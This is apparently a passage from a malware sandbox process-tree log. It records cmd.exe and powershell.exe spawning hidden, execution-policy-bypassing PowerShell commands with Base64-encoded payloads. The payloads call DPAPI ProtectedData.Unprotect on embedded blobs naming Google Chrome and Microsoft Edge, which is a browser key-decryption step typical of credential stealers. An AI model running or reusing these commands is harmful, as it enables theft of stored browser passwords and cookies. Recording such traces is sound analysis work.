AEMAagA5AGoARgBaAEsATQBRAGIATABOAGoAdABhADYAWAB0AEMAWgBLAGMAYwAvAEEAdAA5AFAAQwA0AEgATwBJAFQASABEAEIATgBEADYAdwBCAHAAWABLAEYAVQB1AEoAWABOAHYAZQBqADkAZQBVACsAOQAzAHIAbgBJAE0ATABZAEkAZgBCAFQAbgBQAFUAMABqADUAZgBpAGUAawBUAEkAKwBDAHIASQAzADcAYgBsADUATgBuAGEAaABiAFcASQA4AGQAWgBaADkAdgAvAGYAcAB0AHEATQAyAGIARwBhAE8AWgB0AGgAZgA4AFEASQB5ADMAUAB3ADkAdQBxAGwAdwAvAGcAZABtAHUAcQA1AFkASwBVAGoAawBWAEEAOAAwADQAcgAzAGMAQQB0AE8AYgBHACsAbwBlAGYAVQBsAGcAcAA0AE0ARgBMADYAegBvAFMAbQBMAHEAUQBVAHQAcwBqAHkAWQB3AG0ATgBzAFAAUwA0AGYAVgBSAFUAagB2AG0ARwBvAEcATgBlAGgAdgA5AEEAcwBEADIAeQA5AEcAZgBjAEEAZgBiAHcAUABpAEoAYwBkAHAAdQBiAE8ASwBjAC8AVAA0AG8AaQA2AFgAMAA4ADAALwBhAEQARgAyAGkATwBKAFMARwBnADkAMQBxAHQAVgAyAGMAaAB4AHAAZgBhAG4AbwArAEgAeAAwAEwAUQBuAGgAbABKAGkARwBmADMASwB4AGoARwBoAEEAQQBBAEEAQQAwAFcASAAwAEIAQwBCAFEAOQBpAE0AQgBhAEYASgArAGUALwBaAFkAagBYAEwAOQB0AFoAbwB1AEwAMAAxAHkANgBQAE0ALwB0AHEANgBtAHEAVQBvAGMAMgBzADkANgBSAGkAUwBDAHQAaABQADkASwBnAGYAVgBnAEoASABpAC8AdABnAHUAagBwADcAbwBQAGUAUgByAEQAQwBUAGIATQBqAFEALwBnAFEAPQA9ACcAKQA7ACAAJABkAGUAYwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwApACAAfQAgAGMAYQB0AGMAaAAgAHsAIAAnACcAIAB9AA=="
                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5224
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAB0AHIAeQAgAHsAIAAkAGUAbgBjACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEAZABIAHUAYwBDAC8AQwB5AGIAMABxADkAUwBaAHYAWgBiAFMATABmADIAeABBAEEAQQBBAEEAYwBBAEEAQQBBAFIAdwBCAHYAQQBHADgAQQBaAHcAQgBzAEEARwBVAEEASQBBAEIARABBAEcAZwBBAGMAZwBCAHYAQQBHADAAQQBaAFEAQQBBAEEAQgBCAG0AQQBBAEEAQQBBAFEAQQBBAEkAQQBBAEEAQQBMAGQAaQBSAEIAVABZAE0AcQBIAEwAOQBpAHoAYwB3AE8AVQByAEUAbwA3ADIALwBmAGgANAB0AEMAdAB2ADAAQQBJAFMAUgBoAE4AeAA4AE0ARQB5AEEAQQBBAEEAQQBBADYAQQBBAEEAQQBBAEEAZwBBAEEASQBBAEEAQQBBAE0ARAA0AGIAVQBNAEQAbABOAEwARgBEAFcASwAwAHYAawA1AGEAQwBDADgAWQBIAGsAdQB5ADcAUQBQAHkAdgBZAHYAYQBvAGgAcwBXAGwALwA1AGkAawBBAEUAQQBBAEsASAAxAGUAbAB5AFkAZQA1AFgAQgBQADkAbwBaAFEAZgBYADIAMgBUADMAdwA3AFMAeQA0AGgAWQBuAHYAcwBJAEgAcQBQAFAAeQBqAE0AMgBZAFoAKwBZAHQAeQBMAFYAMgBqAEYAZQBSAFEATwAzAEoAYwBXAGUAMwBvADYAOQBLAEkAQwA1AG4ATQAwAEUANABOAHYARwA0AGoAMwBIADQAWABNAE8AcwBEAFUAQQB6AFMASAA1AHYAbgBNAHIATABRAFoARwAvADYAcgBwAGUASQAyAFoAegBGAGoAaQBDAFoAbAA2AGYAcQBDAFoAdABRAFoAaQBpAEwAdgBRAGsAYgBoAGQAaABSAFUAbgB3AGwAMQBEAFYATQB6AHQAeQAxAGMATgBOAGQAKwBVADQAVgBmAHIANABvADQAUwA2AHUAWQBMAHIAbwBxAFEAQwBPAGUARQByAHIAOQBTAGoASgBYAEoASABzAHAARQB3AHoAbABEADAAaAA4AGwAdAA3AGYAVABoAHcASQBuADIAbQBBAEUASQBJAG0AdgBOADkASgBnAG4ATABMAHoARABnADgANwB1AFAAYQBSADAAZQAwAHgASABRAHQAVQBXAGkATAArAGIAMQBPADIAMgA3AEYAMgBmAGEATQBLAHQAbAAwAEMAagA5AGoARgBaAEsATQBRAGIATABOAGoAdABhADYAWAB0AEMAWgBLAGMAYwAvAEEAdAA5AFAAQwA0AEgATwBJAFQASABEAEIATgBEADYAdwBCAHAAWABLAEYAVQB1AEoAWABOAHYAZQBqADkAZQBVACsAOQAzAHIAbgBJAE0ATABZAEkAZgBCAFQAbgBQAFUAMABqADUAZgBpAGUAawBUAEkAKwBDAHIASQAzADcAYgBsADUATgBuAGEAaABiAFcASQA4AGQAWgBaADkAdgAvAGYAcAB0AHEATQAyAGIARwBhAE8AWgB0AGgAZgA4AFEASQB5ADMAUAB3ADkAdQBxAGwAdwAvAGcAZABtAHUAcQA1AFkASwBVAGoAawBWAEEAOAAwADQAcgAzAGMAQQB0AE8AYgBHACsAbwBlAGYAVQBsAGcAcAA0AE0ARgBMADYAegBvAFMAbQBMAHEAUQBVAHQAcwBqAHkAWQB3AG0ATgBzAFAAUwA0AGYAVgBSAFUAagB2AG0ARwBvAEcATgBlAGgAdgA5AEEAcwBEADIAeQA5AEcAZgBjAEEAZgBiAHcAUABpAEoAYwBkAHAAdQBiAE8ASwBjAC8AVAA0AG8AaQA2AFgAMAA4ADAALwBhAEQARgAyAGkATwBKAFMARwBnADkAMQBxAHQAVgAyAGMAaAB4AHAAZgBhAG4AbwArAEgAeAAwAEwAUQBuAGgAbABKAGkARwBmADMASwB4AGoARwBoAEEAQQBBAEEAQQAwAFcASAAwAEIAQwBCAFEAOQBpAE0AQgBhAEYASgArAGUALwBaAFkAagBYAEwAOQB0AFoAbwB1AEwAMAAxAHkANgBQAE0ALwB0AHEANgBtAHEAVQBvAGMAMgBzADkANgBSAGkAUwBDAHQAaABQADkASwBnAGYAVgBnAEoASABpAC8AdABnAHUAagBwADcAbwBQAGUAUgByAEQAQwBUAGIATQBqAFEALwBnAFEAPQA9ACcAKQA7ACAAJABkAGUAYwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwApACAAfQAgAGMAYQB0AGMAaAAgAHsAIAAnACcAIAB9AA==
                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:4536
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /d /s /c "python --version"
                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1416
                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /d /s /c "python3 --version"
                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1664
                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /d /s /c "py -3 --version"
                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6444
                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEARwBrAHcAKwB5ACsAZgBkAEIARQBpAFQATQBvAFEAdgBCAHcARgBaAGEAUgBBAEEAQQBBAEEAZQBBAEEAQQBBAFQAUQBCAHAAQQBHAE0AQQBjAGcAQgB2AEEASABNAEEAYgB3AEIAbQBBAEgAUQBBAEkAQQBCAEYAQQBHAFEAQQBaAHcAQgBsAEEAQQBBAEEARQBHAFkAQQBBAEEAQQBCAEEAQQBBAGcAQQBBAEEAQQBHAE0AUQA2ADYAYgA4AFoAWQBFAFoAZABYADEATgBMAEUANQAwADAAMgA5AFUAVABtAE4ASgBXAFkAdQBxAGYAQQBJAHcAdABxAEUANQBIAFgATQBFAEEAQQBBAEEAQQBEAG8AQQBBAEEAQQBBAEMAQQBBAEEAZwBBAEEAQQBBAFAAZABOAGwAYQBYAE8ASgBMAEsAdgBoAGQAVgB5AEwAMgBvAGIAWQB1AEIAcQA5AHoAQQBBAEQAagBsAFYAcABmAGcATQB2AGIAMgBGAC8AZgBNAE0AdwBBAEEAQQBBAEIAZQB3AHAANwBHAEwALwBoAFMAcABQAHIAZQBtAFAAbgBpAEsASABsAE0AOAA3AEsAcQBSAFQAUQBOAGYANwBhAFQAegBuAEYALwBCAEoAcABpAGcAMwB1AEQANQA4AGsASgBiAEMAYQBxAEYAdQBHAEQANwAyAG8ANAByAHEAUQBBAEEAQQBBAEcAMgBLAEkAcQBuAEoAQgAyAHgAOABkAHoAMAArAFYANABUAFQAVQB4AEIATwAyADcARgBrAHEAVABNAGIAVABTADEAcgAxAFYAYQBpAGQAagBuAGIATQBQADAARQBrAEsAUQBEAGMARgBwAHIAZQBVAG0ANABYAHcAcgBGAFcANgA4AG8AOAAvAHUASgBGAHMAcABqAFIAYgBQAFgAVwBlAE0ASQB2AFgAUQA9ACcAKQA7ACAAJABkAGUAYwBLAGUAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwBLAGUAeQAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwBLAGUAeQApAA=="
                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:3916
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEARwBrAHcAKwB5ACsAZgBkAEIARQBpAFQATQBvAFEAdgBCAHcARgBaAGEAUgBBAEEAQQBBAEEAZQBBAEEAQQBBAFQAUQBCAHAAQQBHAE0AQQBjAGcAQgB2AEEASABNAEEAYgB3AEIAbQBBAEgAUQBBAEkAQQBCAEYAQQBHAFEAQQBaAHcAQgBsAEEAQQBBAEEARQBHAFkAQQBBAEEAQQBCAEEAQQBBAGcAQQBBAEEAQQBHAE0AUQA2ADYAYgA4AFoAWQBFAFoAZABYADEATgBMAEUANQAwADAAMgA5AFUAVABtAE4ASgBXAFkAdQBxAGYAQQBJAHcAdABxAEUANQBIAFgATQBFAEEAQQBBAEEAQQBEAG8AQQBBAEEAQQBBAEMAQQBBAEEAZwBBAEEAQQBBAFAAZABOAGwAYQBYAE8ASgBMAEsAdgBoAGQAVgB5AEwAMgBvAGIAWQB1AEIAcQA5AHoAQQBBAEQAagBsAFYAcABmAGcATQB2AGIAMgBGAC8AZgBNAE0AdwBBAEEAQQBBAEIAZQB3AHAANwBHAEwALwBoAFMAcABQAHIAZQBtAFAAbgBpAEsASABsAE0AOAA3AEsAcQBSAFQAUQBOAGYANwBhAFQAegBuAEYALwBCAEoAcABpAGcAMwB1AEQANQA4AGsASgBiAEMAYQBxAEYAdQBHAEQANwAyAG8ANAByAHEAUQBBAEEAQQBBAEcAMgBLAEkAcQBuAEoAQgAyAHgAOABkAHoAMAArAFYANABUAFQAVQB4AEIATwAyADcARgBrAHEAVABNAGIAVABTADEAcgAxAFYAYQBpAGQAagBuAGIATQBQADAARQBrAEsAUQBEAGMARgBwAHIAZQBVAG0ANABYAHcAcgBGAFcANgA4AG8AOAAvAHUASgBGAHMAcABqAFIAYgBQAFgAVwBlAE0ASQB2AFgAUQA9ACcAKQA7ACAAJABkAGUAYwBLAGUAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwBLAGUAeQAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwBLAGUAeQApAA==
                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:748
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAB0AHIAeQAgAHsAIAAkAGUAbgBjACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEAZABIAHUAYwBDAC8AQwB5AGIAMABxADkAUwBaAHYAWgBiAFMATABmADIAeABBAEEAQQBBAEEAZQBBAEEAQQBBAFQAUQBCAHAAQQBHAE0AQQBjAGcAQgB2AEEASABNAEEAYgB3AEIAbQBBAEgAUQBBAEkAQQBCAEYAQQBHAFEAQQBaAHcAQgBsAEEAQQBBAEEARQBHAFkAQQBBAEEAQQBCAEEAQQBBAGcAQQBBAEEAQQBxAGMAUgBQAHcAUABQAEgAYQB2AHMASABsAHcAcgBjAFcAWAA2AHcAKwBpAHkAbQBoAEUAbwBNAHcAWQBSAEgAbgBpAGQAcQBNAEUAQwBJAFQAYwAwAEEAQQBBAEEAQQBEAG8AQQBBAEEAQQBBAEMAQQBBAEEAZwBBAEEAQQBBAG8AWABKAG8AZABiADgAUgBFAEsAYwB5AHIANwBRAGsAbwBCAGkAOQBlAE8AdQBBAGIAZgBVAFQANABhAG0AeABpAE8AWgBtAHMAZgAxAGkAdwA1AEIAUQBBAFEAQQBBAHMAbQB4ACsARABHAHMAQgBuAEEANQBwAEMAdwBwADMASAAzADYAWgB2AHUAWQBDAHUAMwBmAGgAWQArADMAcwBGADYAUwA1AG8ASwB0AHgAVAA2ADUATABVADIAZABQAE0AdQBFAG8AYgBzAHAALwBpAEIAaABVAEEAMAAzAHMAVABqAHcATwB1AEgAVwBKADkAYwAvAG0AaQA0AEkAbQB6AEcAdAAxAEsAUgBnAGsAbgBuAE0AaABUAHUAZQB6AFcAbQBjAEsAZgBCAEEAbQA5AEwATQBrAGwAQQA5AGcAdQBUADcAdQBYAC8AOQBPAGIAdwBWAHoAOQBEAGMAMQBGAG0AVgBSADEANAAzAGwAcgA5AEcANAB6AFQATQBhADUARwA4AHEAVQBtAGUAUwBpAEsARgBmAFEAcwBHAG8AKwBxAGwATQBjAE8AYgAwAFoAUABIADUAQgBJAHMAagArAC8AegBJAHQAVQBPAGQASABXAHYAdQB4AHAAZABhADYAZABxADkAYgBuAGIASgBhAEwAOQBaACsAQwB6ADQAeAA4AGEANwBZADIAMwBVAHMAQQBhAGkASABNAFMAQQB4AFkASQBHADYAYwBiAGwARQB5AGoAcQBmAEMAdABOAEoAKwBiAG8AQQBIAE4AVABRAC8AUgBvAE8ANgBuAGIAUwBQAGsAcgBDAE0AcwA1AE0ASgBkAGEAWQBvADcAcAByAEgAdgB0AEwANgA0AGoAawBhAFgAYQBCADAASgBCAEwAZQB4AEMAagBjAFkAMABhAGUANwBOADIAOAByAG0AdgAvADcAZAB0AHAAaABiAEQAegBnAEgAQwBYAFkATQBHADgAUgBkADQAdgBiAHIANQB4AFQAbABiAEQANQBBAHYAagAzAEkAcwA5AHIAMQBnAFUAKwBkAFcAdwBWAEEARABBAHMASQBTAFoAdgBYAEUAQQB6ADYAVABhAGYAVgAyAEIATgBGACsATAB1AHUAYQBYAGEASABFAFEAZAA4AGUAawAzAGYAQQBJAFYAcABWAHcAawBsAEQANgBWAGEAUwB2ADEANQBQAE4AVwAyAG8AdQBYAG4AdgB3AHMAUQBNAHoAOQB5AFIAUABXAE4AMQBYAHUARAByAFIAQQBWAFMALwBhAGoAeABCAGQAZAAvAFgASABkAEgAWQA1AFAAUQBBAEEAQQBBAEgAQwBjAHUAegBUAEQAeABpAHcAUgBLAGYAeAAzADgASwB0AGEAVQBKAFAAbABOAG4AQgBXADgAcABXAHIAVgB0ADUAMgBnAEsANwBkAFkAUQB2AEMAdABuADYASgB0ACsAZgB1AFkATABuAEEAWQAyAHQALwBJAE0ATgA4AGkAQgBTAEQATABWAFEAbgBUAHkAbAB6AHIAYQBOAHUARQBKAHEAWQBDADYAcwA9ACcAKQA7ACAAJABkAGUAYwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwApACAAfQAgAGMAYQB0AGMAaAAgAHsAIAAnACcAIAB9AA=="
                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:6524
                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                          powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAB0AHIAeQAgAHsAIAAkAGUAbgBjACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEAZABIAHUAYwBDAC8AQwB5AGIAMABxADkAUwBaAHYAWgBiAFMATABmADIAeABBAEEAQQBBAEEAZQBBAEEAQQBBAFQAUQBCAHAAQQBHAE0AQQBjAGcAQgB2AEEASABNAEEAYgB3AEIAbQBBAEgAUQBBAEkAQQBCAEYAQQBHAFEAQQBaAHcAQgBsAEEAQQBBAEEARQBHAFkAQQBBAEEAQQBCAEEAQQBBAGcAQQBBAEEAQQBxAGMAUgBQAHcAUABQAEgAYQB2AHMASABsAHcAcgBjAFcAWAA2AHcAKwBpAHkAbQBoAEUAbwBNAHcAWQBSAEgAbgBpAGQAcQBNAEUAQwBJAFQAYwAwAEEAQQBBAEEAQQBEAG8AQQBBAEEAQQBBAEMAQQBBAEEAZwBBAEEAQQBBAG8AWABKAG8AZABiADgAUgBFAEsAYwB5AHIANwBRAGsAbwBCAGkAOQBlAE8AdQBBAGIAZgBVAFQANABhAG0AeABpAE8AWgBtAHMAZgAxAGkAdwA1AEIAUQBBAFEAQQBBAHMAbQB4ACsARABHAHMAQgBuAEEANQBwAEMAdwBwADMASAAzADYAWgB2AHUAWQBDAHUAMwBmAGgAWQArADMAcwBGADYAUwA1AG8ASwB0AHgAVAA2ADUATABVADIAZABQAE0AdQBFAG8AYgBzAHAALwBpAEIAaABVAEEAMAAzAHMAVABqAHcATwB1AEgAVwBKADkAYwAvAG0AaQA0AEkAbQB6AEcAdAAxAEsAUgBnAGsAbgBuAE0AaABUAHUAZQB6AFcAbQBjAEsAZgBCAEEAbQA5AEwATQBrAGwAQQA5AGcAdQBUADcAdQBYAC8AOQBPAGIAdwBWAHoAOQBEAGMAMQBGAG0AVgBSADEANAAzAGwAcgA5AEcANAB6AFQATQBhADUARwA4AHEAVQBtAGUAUwBpAEsARgBmAFEAcwBHAG8AKwBxAGwATQBjAE8AYgAwAFoAUABIADUAQgBJAHMAagArAC8AegBJAHQAVQBPAGQASABXAHYAdQB4AHAAZABhADYAZABxADkAYgBuAGIASgBhAEwAOQBaACsAQwB6ADQAeAA4AGEANwBZADIAMwBVAHMAQQBhAGkASABNAFMAQQB4AFkASQBHADYAYwBiAGwARQB5AGoAcQBmAEMAdABOAEoAKwBiAG8AQQBIAE4AVABRAC8AUgBvAE8ANgBuAGIAUwBQAGsAcgBDAE0AcwA1AE0ASgBkAGEAWQBvADcAcAByAEgAdgB0AEwANgA0AGoAawBhAFgAYQBCADAASgBCAEwAZQB4AEMAagBjAFkAMABhAGUANwBOADIAOAByAG0AdgAvADcAZAB0AHAAaABiAEQAegBnAEgAQwBYAFkATQBHADgAUgBkADQAdgBiAHIANQB4AFQAbABiAEQANQBBAHYAagAzAEkAcwA5AHIAMQBnAFUAKwBkAFcAdwBWAEEARABBAHMASQBTAFoAdgBYAEUAQQB6ADYAVABhAGYAVgAyAEIATgBGACsATAB1AHUAYQBYAGEASABFAFEAZAA4AGUAawAzAGYAQQBJAFYAcABWAHcAawBsAEQANgBWAGEAUwB2ADEANQBQAE4AVwAyAG8AdQBYAG4AdgB3AHMAUQBNAHoAOQB5AFIAUABXAE4AMQBYAHUARAByAFIAQQBWAFMALwBhAGoAeABCAGQAZAAvAFgASABkAEgAWQA1AFAAUQBBAEEAQQBBAEgAQwBjAHUAegBUAEQAeABpAHcAUgBLAGYAeAAzADgASwB0AGEAVQBKAFAAbABOAG4AQgBXADgAcABXAHIAVgB0ADUAMgBnAEsANwBkAFkAUQB2AEMAdABuADYASgB0ACsAZgB1AFkATABuAEEAWQAyAHQALwBJAE0ATgA4AGkAQgBTAEQATABWAFEAbgBUAHkAbAB6AHIAYQBOAHUARQBKAHEAWQBDADYAcwA9ACcAKQA7ACAAJABkAGUAYwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMA